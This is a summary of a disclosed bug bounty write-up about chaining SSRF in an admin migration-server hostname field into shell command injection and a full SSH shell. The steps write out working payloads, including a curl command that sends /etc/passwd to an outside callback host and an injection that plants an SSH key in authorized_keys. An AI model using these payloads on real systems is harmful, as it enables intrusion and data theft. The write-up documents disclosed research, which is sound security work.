# Bug bounty write-up: From SSRF to $4000

Admin migration-server hostname field passed to shell, so backtick command injection in the subdomain yielded RCE and SSH access via authorized_keys.

- Payout: $4,000
- Severity: critical
- Program: -
- Credited: thehackerish
- Disclosed: 2020-07-03
- Write-up quality: 6/10
- Original: https://thehackerish.com/bug-bounty-write-up-from-ssrf-to-4000/
- Library page: https://bugbountylibrary.com/r/blog%3Athehackerish-com-bug-bounty-write-up-from-ssrf-to-4000
- Tags: domain:web impact:internal-access impact:rce kind:bounty platform:blog sev:critical technique:chained technique:oob-exfil vuln:command-injection vuln:rce vuln:ssrf

**Target:** Admin panel migration server configuration wizard (hostname/IP input)
**Root cause:** The migration server hostname input is passed unsanitized into a shell command that performs the callback request, so backtick command substitution executes before the request is made.
**Steps:**
1. Enumerate admin panel; find migration server wizard asking for hostname/IP.
2. Set hostname to `mycallback.server` and confirm HTTP callback (SSRF).
3. Inject `` `whoami`.mycallback.server `` and observe callback to `uzer.mycallback.server`.
4. Exfiltrate files: `` curl -F '@/etc/passwd' mycallback.server`.mycallback.server ``.
5. Write files: `` echo test | tee /tmp/POC`.mycallback.server ``.
6. ssh-keygen locally; append public key to `/home/uzer/.ssh/authorized_keys` via same injection.
7. `ssh -i private.key uzer@vulnerable.server` for shell.
**How found:** Focused on complex multi-stage admin wizard; hostname/IP input for migration server triggered SSRF hypothesis, confirmed by callback, then tested command substitution in the hostname.
**Exploitation:** Attacker controls the migration hostname field; backtick substitution runs OS commands as the app user before the HTTP request. Commands exfiltrate output via callback subdomain or POST body, write files, and plant an SSH public key to log in as uzer.
**Escalation:** SSRF-only (blind, error-based) escalated to command injection via backticks in hostname, then to full SSH shell by writing authorized_keys.
**Insight:** When a hostname/IP field triggers a server-side request, test shell metacharacters (backticks, $()) in the hostname itself—the value may be interpolated into a shell command before the request, turning blind SSRF into RCE with output exfiltrated via the callback subdomain.